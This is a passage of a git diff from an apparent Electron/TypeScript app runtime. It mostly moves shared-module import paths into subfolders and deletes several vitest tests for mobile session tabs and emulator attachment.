import type { Repo } from '../../../shared/repository/repo-types' import type { PRWatchWorkspace } from '../../github/pr-watch/pr-watch-types' import { hostedReviewSshConnectionId } from '../../source-control/hosted-review-execution-host' diff --git a/src/main/runtime/agent-session/records/local-agent-session-record-store-startup-open.ts b/src/main/runtime/agent-session/records/local-agent-session-record-store-startup-open.ts index f6d63df5001..e765a38d2af 100644 --- a/src/main/runtime/agent-session/records/local-agent-session-record-store-startup-open.ts +++ b/src/main/runtime/agent-session/records/local-agent-session-record-store-startup-open.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { withPRWatchRecovery } from '../pr-watch-runtime' import { getProfileUserDataPath } from '../../../orca-profiles/profile-storage-paths' import { diff --git a/src/main/runtime/agent-state-rules/agent-state-rules-live-update.ts b/src/main/runtime/agent-state-rules/agent-state-rules-live-update.ts index bc9b8dcd936..e94b984385b 100644 --- a/src/main/runtime/agent-state-rules/agent-state-rules-live-update.ts +++ b/src/main/runtime/agent-state-rules/agent-state-rules-live-update.ts @@ -2,7 +2,7 @@ import { readFile } from 'node:fs/promises' import { join } from 'node:path' import { getAppEnvironment } from '../../../shared/app-lifecycle/app-environment' import { readFetchResponseTextWithinLimit } from '../../../shared/network/fetch-response-body' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { getVersionChannel, MAIN_RELEASE_REPO } from '../../../shared/updater/release-channel' import { getMainHttpClient } from '../../network/http-client' import { writePluginFileAtomically } from '../../plugins/installation/plugin-atomic-file-write' diff --git a/src/main/runtime/browser/client-pages/renderer-browser-lifecycle.test.ts b/src/main/runtime/browser/client-pages/renderer-browser-lifecycle.test.ts index 633826ef6d2..7bff0f40654 100644 --- a/src/main/runtime/browser/client-pages/renderer-browser-lifecycle.test.ts +++ b/src/main/runtime/browser/client-pages/renderer-browser-lifecycle.test.ts @@ -7,7 +7,7 @@ import { OrcaRuntimeService } from '../../orca-runtime' import { electronMocks } from '../../orca-runtime-test-mocks/setup.spec' import { TEST_WORKTREE_ID, store } from '../../orca-runtime-tests/orca-runtime-test-fixtures.spec' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import type { BrowserTabInfo } from '../../../../shared/browser/runtime/runtime-browser-contracts' import type { RuntimeMobileSessionBrowserTab } from '../../../../shared/remote-runtime/session-graph/runtime-mobile-session-tab-contracts' @@ -79,77 +79,6 @@ function browserRuntime(closeTab = vi.fn(async (_pageId: string) => {}), runtime return { runtime, livePages, sync, addPage, addDesktopPage, list } } -it('finishes an offscreen close against the latest renderer revision without losing newer tabs', async () => { - const closing = Promise.withResolvers() - const closeTab = vi.fn(async (_pageId: string) => closing.promise) - const { runtime, livePages, sync, addPage, list } = browserRuntime(closeTab) - await sync([publication()]) - addPage('runtime-page') - runtime.notifyMobileSessionTabsChanged(TEST_WORKTREE_ID) - expect((await list()).tabs.map((tab) => tab.id)).toEqual(['renderer-tab', 'runtime-page']) - const close = runtime.closeMobileSessionTab(`id:${TEST_WORKTREE_ID}`, 'runtime-page', { - expectedPublicationEpoch: 'renderer-1' - }) - await vi.waitFor(() => expect(closeTab).toHaveBeenCalledWith('runtime-page')) - - const newerTab = { - ...rendererTab, - id: 'renderer-new', - browserWorkspaceId: 'renderer-new-workspace', - browserPageId: 'renderer-new-page', - isActive: false - } - await sync([{ ...publication('renderer-2'), tabs: [rendererTab, newerTab] }]) - livePages.delete('runtime-page') - closing.resolve() - await expect(close).resolves.toMatchObject({ closed: true }) - const afterClose = await list() - expect(afterClose.publicationEpoch).toBe('renderer-2') - expect(afterClose.tabs.map((tab) => tab.id)).toEqual(['renderer-tab', 'renderer-new']) - - await expect( - runtime.closeMobileSessionTab(`id:${TEST_WORKTREE_ID}`, rendererTab.id, { - expectedPublicationEpoch: 'renderer-1' - }) - ).resolves.toMatchObject({ refused: true, refusalReason: 'stale-publication' }) - expect(closeTab).toHaveBeenCalledTimes(1) - expect((await list()).tabs.map((tab) => tab.id)).toEqual(['renderer-tab', 'renderer-new']) - - await sync([publication('renderer-2', 2)]) - expect((await list()).tabs.map((tab) => tab.id)).toEqual(['renderer-tab']) - await sync([{ ...publication('renderer-2', 1), tabs: [rendererTab, newerTab] }]) - expect((await list()).tabs.map((tab) => tab.id)).toEqual(['renderer-tab']) -}) - -it('does not tombstone a renderer browser when the acknowledged close fails', async () => { - const { runtime, sync, list } = browserRuntime() - await sync([publication()]) - const closeSessionTab = vi.fn(async () => { - throw new Error('renderer_disconnected') - }) - runtime.setNotifier({ - worktreesChanged: vi.fn(), - reposChanged: vi.fn(), - activateWorktree: vi.fn(), - createTerminal: vi.fn(), - revealTerminalSession: vi.fn(), - splitTerminal: vi.fn(), - renameTerminal: vi.fn(), - focusTerminal: vi.fn(), - closeTerminal: vi.fn(), - closeSessionTab, - terminalFitOverrideChanged: vi.fn(), - terminalDriverChanged: vi.fn() - }) - const forgetTabs = vi.spyOn(runtime['clientSessionTabSelections'], 'forgetTabs') - await expect( - runtime.closeMobileSessionTab(`id:${TEST_WORKTREE_ID}`, rendererTab.browserWorkspaceId) - ).rejects.toThrow('renderer_disconnected') - expect(closeSessionTab).toHaveBeenCalledWith(rendererTab.id, TEST_WORKTREE_ID) - expect(forgetTabs).not.toHaveBeenCalled() - expect((await list()).tabs.map((tab) => tab.id)).toEqual(['renderer-tab']) -}) - it('keeps a replacement client page through a stale placement retirement and retires only the live generation', async () => { const { runtime, sync, list } = browserRuntime() await sync([publication()]) @@ -187,41 +116,3 @@ it('keeps a replacement client page through a stale placement retirement and ret expect(retired.tabs.map((tab) => tab.id)).toEqual(['renderer-tab']) expect(retired.tabGroups?.flatMap((group) => group.tabOrder)).toEqual(['renderer-tab']) }) - -it('finishes a pending runtime close after renderer detach without losing other pages or revived renderer groups', async () => { - const closing = Promise.withResolvers() - const closeTab = vi.fn(async (_pageId: string) => closing.promise) - const { runtime, livePages, sync, addPage, list } = browserRuntime(closeTab) - await sync([publication()]) - addPage('closing-page') - addPage('surviving-page') - runtime.notifyMobileSessionTabsChanged(TEST_WORKTREE_ID) - const close = runtime.closeMobileSessionTab(`id:${TEST_WORKTREE_ID}`, 'closing-page', { - expectedPublicationEpoch: 'renderer-1' - }) - await vi.waitFor(() => expect(closeTab).toHaveBeenCalledWith('closing-page')) - - await sync([]) - const detached = await list() - expect(detached.tabs.map((tab) => tab.id)).toEqual(['closing-page', 'surviving-page']) - expect(detached.publicationEpoch).toMatch(/^headless-hydrated:/) - livePages.delete('closing-page') - closing.resolve() - await expect(close).resolves.toMatchObject({ closed: true }) - const closedWhileDetached = await list() - expect(closedWhileDetached.tabs.map((tab) => tab.id)).toEqual(['surviving-page']) - expect(closedWhileDetached.tabGroups?.flatMap((group) => group.tabOrder)).not.toContain( - 'closing-page' - ) - - await sync([publication('renderer-returned')]) - const returned = await list() - expect(returned.publicationEpoch).toBe('renderer-returned') - expect(returned.tabs.map((tab) => tab.id)).toEqual(['renderer-tab', 'surviving-page']) - expect(returned.tabGroups?.flatMap((group) => group.tabOrder)).toEqual([ - 'renderer-tab', - 'surviving-page' - ]) - expect(returned.snapshotVersion).toBeGreaterThan(closedWhileDetached.snapshotVersion) - expect(closeTab).toHaveBeenCalledTimes(1) -}) diff --git a/src/main/runtime/browser/commands/browser-command-contracts.ts b/src/main/runtime/browser/commands/browser-command-contracts.ts index 67603f33bce..8ba6eee29cd 100644 --- a/src/main/runtime/browser/commands/browser-command-contracts.ts +++ b/src/main/runtime/browser/commands/browser-command-contracts.ts @@ -1,5 +1,5 @@ import type { AgentBrowserBridge } from '../../../browser/agent-browser/agent-browser-bridge' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { BrowserNetworkExecutionHost } from '../../../../shared/browser/client-hosting/browser-network-execution-host' import type { BrowserHostLeaseRegistry } from '../../browser-host/leases/browser-host-lease-registry' import type { RuntimeBrowserPageRegistry } from '../client-pages/runtime-browser-page-registry' diff --git a/src/main/runtime/browser/downloads/browser-client-download-transfer-store.ts b/src/main/runtime/browser/downloads/browser-client-download-transfer-store.ts index 69960e49818..cb4073dc13f 100644 --- a/src/main/runtime/browser/downloads/browser-client-download-transfer-store.ts +++ b/src/main/runtime/browser/downloads/browser-client-download-transfer-store.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { BrowserClientDownloadTransferStore } from './browser-client-download-transfers' import { captureRuntimeFileMutationExpectation, diff --git a/src/main/runtime/browser/headless/serve-browser-tab-layout.ts b/src/main/runtime/browser/headless/serve-browser-tab-layout.ts index 17b3acfc47b..ccad3d9c997 100644 --- a/src/main/runtime/browser/headless/serve-browser-tab-layout.ts +++ b/src/main/runtime/browser/headless/serve-browser-tab-layout.ts @@ -1,7 +1,7 @@ // Persist headless browser tabs/pages like window-owned tabs; restart lists saved tabs but restores pages only on first use. import type { BrowserPage } from '../../../../shared/browser/workspaces/browser-workspace-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { applyLayoutCommand } from '../../../../shared/workspace-layout/workspace-layout-commands' import { BLANK_BROWSER_TAB_STATE } from '../../../../shared/workspace-layout/persistence/workspace-layout-beside' import { loadWorkspaceLayout } from '../../../../shared/workspace-layout/persistence/workspace-layout-load' diff --git a/src/main/runtime/browser/headless/serve-browser-tabs.ts b/src/main/runtime/browser/headless/serve-browser-tabs.ts index fce5dfb4ceb..dcc113a2f08 100644 --- a/src/main/runtime/browser/headless/serve-browser-tabs.ts +++ b/src/main/runtime/browser/headless/serve-browser-tabs.ts @@ -1,7 +1,7 @@ // List saved headless browser tabs immediately; start pages lazily on first use, never merely on host restart. import type { BrowserBackend } from '../../../browser/browser-backend' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { BrowserTabInfo } from '../../../../shared/browser/runtime/runtime-browser-contracts' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' diff --git a/src/main/runtime/browser/network/runtime-browser-network-execution-host.ts b/src/main/runtime/browser/network/runtime-browser-network-execution-host.ts index b9f03a1bd9f..1cda90ec0fc 100644 --- a/src/main/runtime/browser/network/runtime-browser-network-execution-host.ts +++ b/src/main/runtime/browser/network/runtime-browser-network-execution-host.ts @@ -1,5 +1,8 @@ import type { BrowserNetworkExecutionHost } from '../../../../shared/browser/client-hosting/browser-network-execution-host' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { ProjectExecutionRuntimeResolution } from '../../../../shared/execution-host/project-execution-runtime' import type { SshConnectionState } from '../../../../shared/remote-runtime/ssh/ssh-types' diff --git a/src/main/runtime/client/navigation/client-session-tab-selection-persistence.ts b/src/main/runtime/client/navigation/client-session-tab-selection-persistence.ts index e0bcf6893ff..823c6f11614 100644 --- a/src/main/runtime/client/navigation/client-session-tab-selection-persistence.ts +++ b/src/main/runtime/client/navigation/client-session-tab-selection-persistence.ts @@ -1,7 +1,7 @@ import type { PersistedMobileClientTabSelection, PersistedMobileClientTabSelections -} from '../../../../shared/persisted-state-types' +} from '../../../../shared/orca-profiles/persisted-state-types' function normalizeClientSessionTabSelection( raw: unknown diff --git a/src/main/runtime/client/navigation/client-session-tab-selection.ts b/src/main/runtime/client/navigation/client-session-tab-selection.ts index fadf739c253..070608db874 100644 --- a/src/main/runtime/client/navigation/client-session-tab-selection.ts +++ b/src/main/runtime/client/navigation/client-session-tab-selection.ts @@ -2,7 +2,7 @@ import { CLIENT_NAVIGATION_PUBLICATION_EPOCH_SUFFIX, type RuntimeMobileSessionTabsResult } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import type { PersistedMobileClientTabSelections } from '../../../../shared/persisted-state-types' +import type { PersistedMobileClientTabSelections } from '../../../../shared/orca-profiles/persisted-state-types' import { forgetClosedClientSessionTabsByWorktree, projectWithoutClosedClientSessionTabs diff --git a/src/main/runtime/client/navigation/created-mobile-session-tab-caller-selection.test.ts b/src/main/runtime/client/navigation/created-mobile-session-tab-caller-selection.test.ts deleted file mode 100644 index 3b55d6201ea..00000000000 --- a/src/main/runtime/client/navigation/created-mobile-session-tab-caller-selection.test.ts +++ /dev/null @@ -1,67 +0,0 @@ -/** Create selects only its caller; shared selection stays put and no tap-style PTY respawn runs. */ -import { expect, it, vi } from 'vitest' -import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' -import type { RuntimeMobileSessionTabsResult } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' - -// Preserve side-effect order: mocks, lifecycle, fixtures. -await import('../../orca-runtime-tests/runtime-test-module-registration.spec') -const { OrcaRuntimeService } = await import('../../orca-runtime') -await import('../../orca-runtime-tests/orca-runtime-test-lifecycle.spec') -const { makeRuntimeStoreWithWorkspaceSession, TEST_WORKTREE_ID } = - await import('../../orca-runtime-tests/orca-runtime-test-fixtures.spec') -await import('../../orca-runtime-tests/orca-runtime-test-scenario-builders.spec') - -const WT = TEST_WORKTREE_ID - -function pairedRuntime() { - let next = 0 - const spawn = vi.fn(async () => ({ id: `pty-${++next}` })) - const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession(getDefaultWorkspaceSession()) - const runtime = new OrcaRuntimeService(runtimeStore) - runtime.setPtyController({ - spawn, - write: () => true, - kill: () => true, - getForegroundProcess: async () => null - }) - const caller: RuntimeMobileSessionTabsResult[] = [] - runtime.onMobileSessionTabsChanged((snapshot) => caller.push(snapshot), 'device-caller', 'mobile') - runtime.onMobileSessionTabsChanged(() => {}, 'device-bystander', 'mobile') - return { runtime, spawn, caller } -} - -async function createPane(runtime: InstanceType) { - const created = await runtime.createTerminal(`id:${WT}`) - const pane = parsePaneKey(created.paneKey ?? '') - if (!pane) { - throw new Error(`createTerminal returned no pane key: ${created.paneKey}`) - } - return { tabId: pane.tabId, leafId: pane.leafId, id: `${pane.tabId}::${pane.leafId}` } -} - -it('selects a launched terminal for the caller only, without spawning again', async () => { - const { runtime, spawn, caller } = pairedRuntime() - const first = await createPane(runtime) - const launched = await createPane(runtime) - expect((await runtime.listMobileSessionTabs(`id:${WT}`)).activeTabId).toBe(first.id) - const previous = caller.at(-1)! - - expect(await runtime.selectCreatedMobileSessionTabForClient(WT, launched, 'device-caller')).toBe( - true - ) - - const selected = caller.at(-1)! - expect(selected.activeTabId).toBe(launched.id) - // The client fences a frame from another publication or behind its last version. - expect(selected.publicationEpoch).toBe(previous.publicationEpoch) - expect(selected.snapshotVersion).toBe(previous.snapshotVersion + 1) - expect((await runtime.listMobileSessionTabs(`id:${WT}`, 'device-caller')).activeTabId).toBe( - launched.id - ) - expect((await runtime.listMobileSessionTabs(`id:${WT}`)).activeTabId).toBe(first.id) - expect((await runtime.listMobileSessionTabs(`id:${WT}`, 'device-bystander')).activeTabId).toBe( - first.id - ) - expect(spawn).toHaveBeenCalledTimes(2) -}) diff --git a/src/main/runtime/client/runtime-client-state.ts b/src/main/runtime/client/runtime-client-state.ts index 297696e84b1..3c475a6bc9e 100644 --- a/src/main/runtime/client/runtime-client-state.ts +++ b/src/main/runtime/client/runtime-client-state.ts @@ -11,12 +11,12 @@ import { type ExecutionHostId, LOCAL_EXECUTION_HOST_ID, getRepoExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { IPtyProvider } from '../../providers/pty/provider-contract' import { killAllProcessesForWorktree } from '../workspaces/removal/worktree-teardown' import type { MemorySnapshot, StatsSummary } from '../../../shared/diagnostics/process-stats-types' import { collectMemorySnapshot } from '../../memory/collector' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../shared/orca-profiles/persisted-ui-state-types' import { isDeepStrictEqual } from 'node:util' import type { AgentListPublication, diff --git a/src/main/runtime/client/settings/runtime-client-settings-shape.ts b/src/main/runtime/client/settings/runtime-client-settings-shape.ts index b022ea70cd8..ffb45f0fc83 100644 --- a/src/main/runtime/client/settings/runtime-client-settings-shape.ts +++ b/src/main/runtime/client/settings/runtime-client-settings-shape.ts @@ -1,8 +1,8 @@ // What a paired client reads and may write of this host's settings. -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { VoiceSettings } from '../../../../shared/speech/speech-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceCleanupRules } from '../../../../shared/workspace-cleanup/workspace-cleanup-policy' import type { SourceControlAiActionDefaults } from '../../../../shared/source-control/ai/recipes/source-control-ai-actions' diff --git a/src/main/runtime/client/settings/runtime-client-settings.ts b/src/main/runtime/client/settings/runtime-client-settings.ts index 83f439479d7..e368b96fd1e 100644 --- a/src/main/runtime/client/settings/runtime-client-settings.ts +++ b/src/main/runtime/client/settings/runtime-client-settings.ts @@ -13,7 +13,7 @@ import { haveSameDisabledTuiAgents } from '../../../../shared/agent-launch/catal import { normalizeSourceControlAiSettings } from '../../../../shared/source-control/ai/settings/source-control-ai-settings' import { normalizeSourceControlGroupOrder } from '../../../../shared/source-control/listing/source-control-group-order' import { SOURCE_CONTROL_LAUNCH_ACTION_IDS } from '../../../../shared/source-control/ai/recipes/source-control-ai-actions' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { applyNativeChatSessionOptionSettingsMutation } from '../../../../shared/native-chat/input/session-options/native-chat-session-option-defaults' import type { NativeChatSessionOptionSettingsMutation } from '../../../../shared/native-chat/input/native-chat-session-options' import { getHostDisplayLabelOverrides } from '../../../../shared/execution-host/host-setting-overrides' diff --git a/src/main/runtime/client/settings/runtime-workspace-view-change-events.ts b/src/main/runtime/client/settings/runtime-workspace-view-change-events.ts index 5da2d9dec27..d9b5c3962eb 100644 --- a/src/main/runtime/client/settings/runtime-workspace-view-change-events.ts +++ b/src/main/runtime/client/settings/runtime-workspace-view-change-events.ts @@ -1,7 +1,7 @@ import { isDeepStrictEqual } from 'node:util' import type { RuntimeClientEvent } from '../../../../shared/remote-runtime/session-graph/runtime-client-events' -import type { GlobalSettings } from '../../../../shared/global-settings-types' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import { ALL_WORKSPACE_VIEW_UI_FIELDS } from '../../../../shared/workspace-view/workspace-view-ui-fields' import type { RuntimeStore } from '../../construction/runtime-store-contract' diff --git a/src/main/runtime/client/settings/workspace-view-collapse-writes.ts b/src/main/runtime/client/settings/workspace-view-collapse-writes.ts index cbfe6ffe6b4..fe373f76578 100644 --- a/src/main/runtime/client/settings/workspace-view-collapse-writes.ts +++ b/src/main/runtime/client/settings/workspace-view-collapse-writes.ts @@ -1,4 +1,4 @@ -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import type { SetCollapsedRequest, SetCollapsedResult diff --git a/src/main/runtime/construction/orca-runtime.test.ts b/src/main/runtime/construction/orca-runtime.test.ts index 863498bf3e0..8159286be2c 100644 --- a/src/main/runtime/construction/orca-runtime.test.ts +++ b/src/main/runtime/construction/orca-runtime.test.ts @@ -12,7 +12,6 @@ await import('../orca-runtime-tests/orca-runtime-test-lifecycle.spec') await import('../orca-runtime-tests/orca-runtime-test-fixtures.spec') await import('../orca-runtime-tests/orca-runtime-test-scenario-builders.spec') -await import('../orca-runtime-tests/runtime-availability.spec') await import('../orca-runtime-tests/browser-capabilities.spec') await import('../orca-runtime-tests/window-authority.spec') await import('../orca-runtime-tests/terminal-handles.spec') @@ -27,7 +26,7 @@ await import('../orca-runtime-tests/terminal-side-effect-facts-part-02.spec') await import('../orca-runtime-tests/headless-snapshots.spec') await import('../orca-runtime-tests/agent-status-and-waits-part-02.spec') await import('../orca-runtime-tests/terminal-creation-and-readiness.spec') -await import('../orca-runtime-tests/terminal-creation-and-readiness-part-02.spec') +await import('../orca-runtime-tests/runtime-orchestration-db.test-fixture') await import('../orca-runtime-tests/terminal-creation-and-readiness-part-04.spec') await import('../orca-runtime-tests/terminal-creation-and-readiness-part-06.spec') @@ -38,8 +37,7 @@ await import('../orca-runtime-tests/terminal-creation-and-readiness-part-10.spec await import('../orca-runtime-tests/terminal-creation-and-readiness-part-11.spec') await import('../orca-runtime-tests/conpty-stream-read.spec') await import('../orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec') -await import('../orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec') -await import('../orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec') + await import('../orca-runtime-tests/terminal-output-and-worker-recovery-part-06.spec') await import('../orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec') await import('../orca-runtime-tests/terminal-handles-and-agent-status.spec') diff --git a/src/main/runtime/construction/runtime-construction-dependencies.ts b/src/main/runtime/construction/runtime-construction-dependencies.ts index 83468312389..b7470587805 100644 --- a/src/main/runtime/construction/runtime-construction-dependencies.ts +++ b/src/main/runtime/construction/runtime-construction-dependencies.ts @@ -1,6 +1,6 @@ import type { AgentProviderSessionMetadata } from '../../../shared/agent-session/lifecycle/agent-session-resume' import type { CliWriterObservation } from '../../agent-hooks/server/cli-writer-observation' -import type { ExecutionHostScope } from '../../../shared/execution-host' +import type { ExecutionHostScope } from '../../../shared/execution-host/execution-host' import type { IPtyProvider } from '../../providers/pty/provider-contract' import type { PrepareClaudeAuth } from '../../ipc/pty/host-env/types' import type { diff --git a/src/main/runtime/construction/runtime-construction-services.ts b/src/main/runtime/construction/runtime-construction-services.ts index aacd0a22920..2103cf0d4d6 100644 --- a/src/main/runtime/construction/runtime-construction-services.ts +++ b/src/main/runtime/construction/runtime-construction-services.ts @@ -30,7 +30,7 @@ import type { } from '../../../shared/terminal/runtime/runtime-terminal-contracts' import type { RuntimeSyncedLeaf } from '../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { readOrchestrationFleetAgentStatusSnapshot } from '../orchestration/addressing/orchestration-fleet-agent-status-snapshot' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { ProjectExecutionRuntimeResolution } from '../../../shared/execution-host/project-execution-runtime' import type { RuntimeWorktreeScanResult } from '../workspaces/catalog/repo-worktree-resolution-scan' diff --git a/src/main/runtime/construction/runtime-file-command-state.ts b/src/main/runtime/construction/runtime-file-command-state.ts index 3302210af4b..c002f6045b2 100644 --- a/src/main/runtime/construction/runtime-file-command-state.ts +++ b/src/main/runtime/construction/runtime-file-command-state.ts @@ -1,4 +1,7 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { GitAdmissionTier } from '../../../shared/rpc-contract/source-control/git-admission-tier-params' import type { LocalProjectGhExecOptions } from '../../workspaces/execution-host/project-runtime-git-options' import { OrcaRuntimeWithPreservedBranchCleanup } from './runtime-host-services' diff --git a/src/main/runtime/construction/runtime-host-services.ts b/src/main/runtime/construction/runtime-host-services.ts index 8eac6c47b0e..f993253e0b2 100644 --- a/src/main/runtime/construction/runtime-host-services.ts +++ b/src/main/runtime/construction/runtime-host-services.ts @@ -13,7 +13,10 @@ import { confirmRunTerminalShellAlone, readRunTerminalClientUse } from '../terminal/lifecycle/run-terminal-client-use' -import { ALL_EXECUTION_HOSTS_SCOPE, type ExecutionHostId } from '../../../shared/execution-host' +import { + ALL_EXECUTION_HOSTS_SCOPE, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { RuntimePreservedBranchCleanup } from '../repositories/runtime-preserved-branch-cleanup' import type { AgentSessionCreateOperation } from '../session-construction/agent-session/agent-session-create-operation' import type * as CompatibilityAuthority from '../orchestration/terminal-authority/orchestration-compatibility-authority' diff --git a/src/main/runtime/construction/runtime-store-contract.ts b/src/main/runtime/construction/runtime-store-contract.ts index 145765e849b..33e12f7ce82 100644 --- a/src/main/runtime/construction/runtime-store-contract.ts +++ b/src/main/runtime/construction/runtime-store-contract.ts @@ -1,5 +1,5 @@ import type { Store } from '../../persistence/loading-store/store' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { VoiceSettings } from '../../../shared/speech/speech-types' export type RuntimeStore = { diff --git a/src/main/runtime/emulator/orca-runtime-emulator-opening.test.ts b/src/main/runtime/emulator/orca-runtime-emulator-opening.test.ts deleted file mode 100644 index aae53f7debf..00000000000 --- a/src/main/runtime/emulator/orca-runtime-emulator-opening.test.ts +++ /dev/null @@ -1,83 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { EmulatorBridge } from '../../emulator/emulator-bridge' -import { RuntimeEmulatorCommands } from './runtime-emulator-commands' - -import type { GlobalSettings } from '../../../shared/global-settings-types' -import type { EmulatorSessionInfo } from '../../emulator/emulator-types' -import type { EmulatorDevice } from '../../emulator/backends/emulator-backend' -const devices: EmulatorDevice[] = [ - { backend: 'ios', id: 'iphone', name: 'iPhone', state: 'shutdown', isAvailable: true }, - { - backend: 'android', - id: 'emulator-5558', - name: 'Pixel', - detail: 'emulator', - state: 'booted', - isAvailable: true - } -] -function info(id: string): EmulatorSessionInfo { - return { - deviceUdid: id, - streamUrl: `http://localhost/${id}`, - wsUrl: `ws://localhost/${id}`, - helperPid: 1 - } -} -function setup() { - const bridge = new EmulatorBridge() - const settings: Pick< - GlobalSettings, - | 'mobileEmulatorEnabled' - | 'mobileEmulatorDefaultDeviceUdid' - | 'mobileEmulatorRecentDevices' - | 'mobileEmulatorOpeningMode' - > = { mobileEmulatorEnabled: true } - vi.spyOn(bridge, 'listAllDevices').mockResolvedValue(devices) - vi.spyOn(bridge, 'listSimulators').mockResolvedValue([ - { name: 'iPhone', udid: 'iphone', state: 'Shutdown', runtime: 'iOS 27.2', isAvailable: true } - ]) - vi.spyOn(bridge, 'getReusableActiveForWorktree').mockResolvedValue(null) - vi.spyOn(bridge, 'stopActiveForSwitch').mockResolvedValue(null) - vi.spyOn(bridge, 'registerActiveEmulator').mockImplementation(() => {}) - const acquire = vi - .spyOn(bridge, 'acquireHelperForDevice') - .mockImplementation(async (id) => ({ info: info(id), release: async () => {} })) - const commands = new RuntimeEmulatorCommands({ - getEmulatorBridge: () => bridge, - getSettings: () => settings, - updateEmulatorSettings: (updates) => Object.assign(settings, updates), - resolveEmulatorWorkspaceId: async (id) => id, - resolveEmulatorCleanupWorkspaceId: async (id) => id, - getAuthoritativeWindow: () => { - throw new Error('Headless test') - } - }) - return { commands, bridge, settings, acquire } -} -describe('user emulator opening', () => { - it('ignores a late completion when a newer deliberate selection succeeded', async () => { - const { commands, settings, acquire } = setup() - let finish: ( - value: Awaited> - ) => void = () => {} - acquire.mockImplementationOnce( - () => - new Promise((resolve) => { - finish = resolve - }) - ) - const first = commands - .emulatorAttach({ device: 'iphone', worktree: 'project', userInitiated: true }) - .catch((error) => error) - await vi.waitFor(() => expect(acquire).toHaveBeenCalledTimes(1)) - await commands.emulatorAttach({ - device: 'emulator-5558', - worktree: 'project', - userInitiated: true - }) - finish({ info: info('iphone'), release: async () => {} }) - expect(await first).toMatchObject({ code: 'emulator_attach_superseded' }) - expect(settings.mobileEmulatorRecentDevices?.[0].id).toBe('Pixel') - }) -}) diff --git a/src/main/runtime/emulator/runtime-emulator-commands.ts b/src/main/runtime/emulator/runtime-emulator-commands.ts index 35c909e6d13..28434bf0099 100644 --- a/src/main/runtime/emulator/runtime-emulator-commands.ts +++ b/src/main/runtime/emulator/runtime-emulator-commands.ts @@ -14,7 +14,7 @@ import { assertWorktreeInputNotShadowedByDeviceHub } from '../../emulator/emulat import type { EmulatorActiveSession, EmulatorSessionInfo } from '../../emulator/emulator-types' import type { SimulatorDevice } from '../../emulator/simctl-simulator-devices' import type { EmulatorDevice } from '../../emulator/backends/emulator-backend' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' type EmulatorHostSettings = Pick< GlobalSettings, diff --git a/src/main/runtime/files/file-access.ts b/src/main/runtime/files/file-access.ts index a5c3fbe9cb3..dda1ada4d01 100644 --- a/src/main/runtime/files/file-access.ts +++ b/src/main/runtime/files/file-access.ts @@ -24,7 +24,10 @@ import { resolveFileExplorerPath, resolveFileExplorerPaths } from './file-target' -import { parseExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { FileStat } from '../../providers/filesystem/provider-contract' import { assertRuntimeReadWslDistroRunning } from '../integrations/git/runtime-wsl-background-read-gate' diff --git a/src/main/runtime/files/file-command-host.ts b/src/main/runtime/files/file-command-host.ts index 4d71695c975..787349a3aeb 100644 --- a/src/main/runtime/files/file-command-host.ts +++ b/src/main/runtime/files/file-command-host.ts @@ -1,6 +1,6 @@ import type { RuntimeStore } from '../construction/runtime-store-contract' import type { ResolvedRuntimeFileTarget, ResolvedRuntimeFileWorktree } from './file-target' -import type { 